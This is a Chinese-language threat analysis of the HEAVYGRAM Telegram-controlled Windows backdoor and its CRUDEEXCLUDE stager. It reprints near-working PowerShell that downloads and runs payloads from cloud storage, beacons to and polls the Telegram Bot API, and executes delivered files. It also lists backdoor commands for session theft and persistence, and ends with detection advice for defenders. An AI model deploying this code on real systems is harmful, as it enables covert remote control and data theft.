HEAVYGRAM 樣本分析!
1. 簡介
報告針對 HEAVYGRAM 進行技術分析,這是一款以 Python 撰寫並透過 PyInstaller 編譯的多功能 Windows 後門程式 ,以及 CRUDEEXCLUDE ,這是一款使用 Delphi 的暫存工具,用於準備受害者環境以部署植入程式 [1] 。HEAVYGRAM 首次於 2023 年 9 月 13 日被觀察到,CRUDEEXCLUDE 則於 2024 年 7 月 26 日出現,研究中記錄了 spanning loader 與 payload 的 29 個新樣本 [1] 。這兩個家族濫用 Telegram Bot API 而非專用的 C2 伺服器:bot token 與群組或使用者識別碼嵌入在設定資料中,因此控制流量混入廣泛使用的加密通訊服務中,且無需託管惡意基礎設施 [1] 。該植入程式支援遠端命令執行、系統、網路與程序發現、資料與 Telegram session 外洩、螢幕截圖擷取、DLL side-loading、檔案清理,以及利用 registry entry 的持久化 [1] 。
2. 感染鏈與第一階段交付
觀察到兩種 Delivery chain [1] 。在 chain A(Staged delivery)中,第一階段開啟誘餌檔案,解壓縮已放置或下載的 ZIP 檔案,並啟動植入程式,隨後該程式會與 Telegram 通訊。在 chain B(Direct polling)中,沒有植入程式被分段放置:第一階段本身會向 Telegram Polling 以取得後續 payload。四種第一階段向量負責交付這些 chain [1] :執行 PowerShell cradle 的 WSF/VBS 腳本;Polling bot API 的 VBS 腳本與 HTML Applications (HTA);Embedded archive 的可執行檔;以及 Embedded archive 並額外註冊 Defender 排除項的 CRUDEEXCLUDE 可執行檔。
圖 1. Killchain。
以下從 WSF 第一階段恢復的 PowerShell cradle 展示了 Staged-delivery model [1] 。
- # =====================================================================
- # HEAVYGRAM Stage-1 PowerShell cradle (recovered from an obfuscated WSF)
- # - The VBScript wrapper first checks that the C: drive volume is larger
- # than 50 GB: a cheap anti-sandbox / anti-VM heuristic
- # - Downloads a PPTX decoy to %TEMP% and opens it, keeping the victim
- # convinced that a legitimate document was received
- # - Downloads a ZIP archive from cloud object storage (Vultr bucket)
- # - Expands the archive into a GUID-named directory under C:\ProgramData
- # (a world-writable staging area commonly abused by malware)
- # - Launches RuntimeSSH.exe: the HEAVYGRAM persistent implant
- # (URLs defanged as hxxps in the original publication [1])
- # =====================================================================
- $path2 = $Env:temp+'\Artificial intelligence.pptx.pptx';
- $client2 = New-Object System.Net.WebClient;
- $client2.downloadfile(
- 'hxxps://sgp1[.]vultrobjects[.]com/jttrepijgdb/
- Artificial%20intelligence.pptx',
- $path2);
- Start-Process -FilePath $path2;
- $path3 = $Env:temp+'\a650bc3533b424d03[.]zip';
- $client3 = New-Object System.Net.WebClient;
- $client3.downloadfile(
- 'hxxps://sgp1[.]vultrobjects[.]com/jttrepijgdb/efg_d4[.]zip',
- $path3);
- Expand-Archive `
- -Path $path3 `
- -DestinationPath `
- 'C:\ProgramData\ssh-cache-default\
- {8bda3848-495e-43f4-8d10-7d37a67f1604}' `
- -Force;
- Start-Process `
- -FilePath `
- 'C:\ProgramData\ssh-cache-default\
- {8bda3848-495e-43f4-8d10-7d37a67f1604}\
- RuntimeSSH.exe'
第二類第一階段完全跳過本地暫存。在 HTA 變體中,執行的 PowerShell 會收集機器 hostname,並在執行任何其他動作之前,透過 bot
sendMessage
endpoint 將其回報給 Telegram chat
[1]
:
- # =====================================================================
- # Chain-B check-in: the first stage phones home through the Telegram
- # Bot API sendMessage endpoint
- # - hostname is embedded in the message text so operators can identify
- # the newly compromised machine inside the operator chat
- # - chat_id targets a private group; the bot token is hardcoded
- # - using a legitimate cloud API means the beacon is TLS-encrypted and
- # indistinguishable from benign automation at first glance
- # =====================================================================
- $hn = hostname; $response = Invoke-RestMethod
- -Uri "hxxps://api[.]telegram[.]org/bot783XXXX576:
- /sendMessage?chat_id=-100239XXXX515&text=🟢
- ``$hn``%20is%20online&parse_mode=Markdown" -Method Get;
接著腳本定義了一個 Polling 函數,該函數呼叫 bot
getUpdates
endpoint,並保持 offset cursor,確保每個 update 僅處理一次
[1]
:
- # =====================================================================
- # Get-BotUpdates: long-poll client for the Telegram Bot API
- # - offset cursor gives at-most-once processing: after an update is
- # handled, the caller advances offset to update_id + 1
- # - no custom protocol is needed: a plain HTTPS GET against a legitimate
- # cloud endpoint, which is exactly why this traffic blends in
- # =====================================================================
- function Get-BotUpdates {
- param (
- [int]$offset = 0
- )
- $address2 = "$address/getUpdates?offset=$offset"
- $response = Invoke-RestMethod -Uri $address2 -Method Get
- return $response.result
- }
下載的附件純粹依據副檔名進行 dispatch:ZIP archive 會被展開至
C:\ProgramData\Kee_Pass
,並在腳本結束前以 hardcoded 參數執行其中的 KeePass.exe;其他類型的檔案則直接啟動
[1]
:
- # =====================================================================
- # BringContent: download-and-dispatch logic for bot attachments
- # - Resolves the storage path via getFile, then pulls the binary from
- # the Telegram file endpoint into %TEMP%
- # - Filename branching decides what runs next:
- # * ends with "zip" -> expand to C:\ProgramData\Kee_Pass, execute
- # the bundled KeePass.exe with a hardcoded argument, then exit
- # * anything else -> execute the downloaded file directly
- # * ends with "exe" -> exit after execution (single-shot handoff)
- # =====================================================================
- function BringContent {
- param (
- [string]$contentId,
- [string]$contentName
- )
- $contentPathResponse = Invoke-RestMethod `
- -Uri "$address/getFile?file_id=$contentId" `
- -Method Get
- $contentPath = $contentPathResponse.result.file_path
- $bringAddress = "hxxps://api[.]telegram[.]org/file/" +
- "bot772XXXX818:/$contentPath"
- $destination = Join-Path `
- -Path $local_path `
- -ChildPath $contentName
- Invoke-WebRequest `
- -Uri $bringAddress `
- -OutFile $destination
- Get-BotUpdates -offset $offset
- if ($contentName.EndsWith("zip")) {
- Expand-Archive `
- -Path $destination `
- -DestinationPath "C:\ProgramData\Kee_Pass" `
- -Force
- Start-Process `
- -FilePath "C:\ProgramData\Kee_Pass\KeePass.exe" `
- -ArgumentList "am22350022003300440055"
- exit
- } else {
- Start-Process `
- -FilePath "$local_path\$contentName"
- }
- if ($contentName.EndsWith("exe")) {
- exit
- }
- }
最後,lockfile 強制單一實例執行,發出 check-in 訊息,並進入無限迴圈每秒 Polling 一次 updates [1] :
- # =====================================================================
- # Single-instance guard via lockfile, then the main polling loop
- # - C:\ProgramData\lockfile49c4e.lock prevents two copies from racing
- # - "is online now!" acts as the initial beacon / log line
- # - while($true): poll getUpdates every second; every message carrying
- # a document is handed to BringContent for download and dispatch
- # =====================================================================
- try {
- $lockFilePath = "C:\ProgramData\lockfile49c4e.lock"
- if (Test-Path $lockFilePath) {
- PrintLog -message "Another instance is already active. Exiting..."
- exit
- } else {
- New-Item -Path $lockFilePath -ItemType File -Force | Out-Null
- }
- } catch {
- PrintLog -message $_
- }
- PrintLog -message "is online now!"
- $offset = 0
- while ($true) {
- try {
- $updates = Get-BotUpdates -offset $offset
- foreach ($update in $updates) {
- $offset = $update.update_id + 1
- if ($update.message.document) {
- $contentId = $update.message.document.file_id
- $contentName = $update.message.document.file_name
- BringContent -contentId $contentId -contentName $contentName
- }
- }
- Start-Sleep 1
- }
- catch {
- PrintLog -message $_
- }
- }
這些程式碼片段完整記錄了 chain B:第一階段成為其自身的 C2 client,透過利用副檔名的分支將每個 Delivered file 轉化為執行決策,而 lockfile 與 offset bookkeeping 則保持其單一實例與可靠性。
3. 持久化植入程式:Prefix-Route 命令套件
持久化植入程式是一個 PyInstaller 可執行檔,其捆綁的
config.py
包含 hardcoded 設定字串,而加密的
rantom.txt
則攜帶僅在執行時期解密的客製化函數定義
[1]
。啟動時,植入程式建立 mutex,將其設定寫入
%APPDATA%\Config\config.xml
,讀回 bot token 與 operator user 或 group ID,並收集 hostname
[1]
。註冊了兩個 handlers:
analyze_command
用於文字,
downloader
用於附件
[1]
。
文字命令透過前綴分隔符系統進行 route。雙 @ 前綴透過
os.popen
將訊息主體作為任意系統命令執行,並將輸出返回至 C2 通道;雙星號前綴將主體寫入
C:\ProgramData\ur.txt
,可能用於暫存設定更新、次要 payload 或 operator note;雙井號前綴則啟用更豐富的 backdoor 套件
[1]
:
| 命令 | 功能 |
|---|---|
| runexe | 在主機上啟動任意程序 |
| whois | 透過 api.ipify.org 取得主機的公開 IP address |
| runtro | 執行次要 trojan payload |
| cht | 動態更新 C2 bot token 與 operator user ID |
| regtro | 將 trojan payload 安裝至 Windows autorun registry keys |
| reg | 將主要惡意軟體可執行檔安裝至 Windows autorun registry keys |
| dt | 從 %APPDATA%\Telegram Desktop 與 %LOCALAPPDATA%\Packages\TelegramMessengerLLP 外洩 Telegram Desktop 資料 |
| si | 執行 systeminfo 並外洩主機詳細資料 |
| pl | 列舉正在執行的程序,包括存取層級資訊 |
| ss | 擷取並外洩作用中桌面的螢幕截圖 |
cht
命令就地替換 bot token 與 operator ID,使基礎設施輪替無需重新部署植入程式
[1]
;
dt
命令鎖定 Telegram Desktop session 資料,支援透過 session 竊取實現帳號接管
[1]
。附件處理純粹由檔名驅動
[1]
:以
dev
、
bit
或
kee
開頭的 DLL 觸發 DLL side-loading — 合法的
bthudtask.exe
從
C:\Windows\SysWOW64
複製到偽造的
C:\Windows \SysWOW64
(故意加上尾部空格),執行以 side-load 攻擊者 DLL,隨後刪除偽造目錄。名為
reg*.zip
的archive前往
C:\ProgramData\SMQDServicePackages\488ht1-8ww648q
;通用 ZIP 放置在
%APPDATA%\SMQDService
並解壓縮至
%ALLUSERSPROFILE%\MicrosoftDistribution\sysmain
;
keepass.exe
前往
C:\ProgramData\KeePass\
;通用可執行檔下載至
%APPDATA%\SMQDService
並執行
[1]
。
圖 2. 植入程式 C2 處理與 side-loading 行為。
植入程式的存活狀態由兩個函數維持:
send_initial_message
傳送攜帶完整電腦 domain name 的初始 beacon,而
send_health_msg
是一個背景 thread,每 24 小時發出 heartbeat
[1]
。
4. Telegram 基礎設施佈局
觀察到兩種基礎設施佈局 [1] 。單一 bot 設定使用一個 bot 與一個群組擔任整個 C2 角色。雙 bot 設定使用一個 bot 用於受害者 check-in 與 user 或 group,另一個次要 bot 用於 logging 與 stage Polling 並搭配一個群組;多個 bot、users 與 groups 在不同樣本間重複使用 [1] 。這種設計產生了原生加密通道,設置、維護與輪替成本極低,且無需託管專屬惡意基礎設施 [1] 。
sequenceDiagram
participant H as Infected host
participant B1 as Check-in bot
participant U as Operator user or group
participant B2 as Logging and stage-polling bot
participant G2 as Group
H->>B1: Check-in beacon
B1->>U: Forward check-in to operator
H->>B2: Logging messages
B2->>G2: Forward logs to group
H->>B2: Stage-polling requests
B2-->>H: Additional payloads and stages
圖 3. Dual-bot cluster:check-in、logging 與 stage Polling 分散 across bots [1] 。
5. 與其他濫用 Telegram 工具的比較
濫用 Telegram 作為 C2 與外洩通道是一種
recurring pattern
。StallionRAT 是一款以 Go、PowerShell 與 Python 實作的 RAT,使用 Telegram bot 作為其 C2 通道,用於任意命令、檔案管理與資料竊取 (
StallionRAT Telegram C2 decoded
)。PupkinStealer 是一款 .NET stealer,使用非同步任務與 Bot API 進行隱蔽外洩 (
PupkinStealer analysis
)。一款利用 Go 的 backdoor 同樣使用
NewBotAPIWithClient
建構其 bot,並透過
GetUpdatesChan
執行命令,顯示官方 Bot API 本身就足以提供完整的 remote shell
[2]
。HEAVYGRAM 在成熟度上脫穎而出:具備前綴路由命令套件、附件驅動的暫存、side-loading 與備援雙 bot 基礎設施。
6. 偵測與緩解措施
防禦優先事項直接源自這些機制
[1]
:審核 HKCU 與 HKLM
Run
keys 是否有未經授權的項目,例如
SMQDService
或
winappx
;搜尋偽造的
C:\Windows \
尾部空格目錄;對
bthudtask.exe
在其合法路徑之外執行發出警報;標記來自非標準程序的
os.popen
風格 shell 執行;監控對 Telegram Desktop 資料目錄的未經授權存取;限制從
%APPDATA%
與
C:\ProgramData
執行;對未簽署的 side-loaded DLL 強制執行程式碼簽署驗證;以及在 Telegram 非經批准工具的情況下審查或封鎖出站 bot API 流量
[1]
。由於初始執行依賴具說服力的誘餌,驗證透過通訊頻道接收的軟體仍是最有效的預防控制措施
[1]
。
7. 結論
HEAVYGRAM 展示了商品化構建區塊 — PyInstaller 封裝、PowerShell cradles、Defender 排除濫用,以及合法的雲端通訊 API — 如何組成靈活的監控工具鏈。其 Prefix-Route 命令套件、檔名驅動的附件 dispatch,以及雙 bot 基礎設施反映了仔細的操作設計,而 CRUDEEXCLUDE 則將防禦規避盡早推入感染鏈 [1] 。更廣泛的教訓是:C2 不再需要可疑的基礎設施,因此監控合法的雲端 API 及其檔案系統 Artifact 現在是核心偵測需求。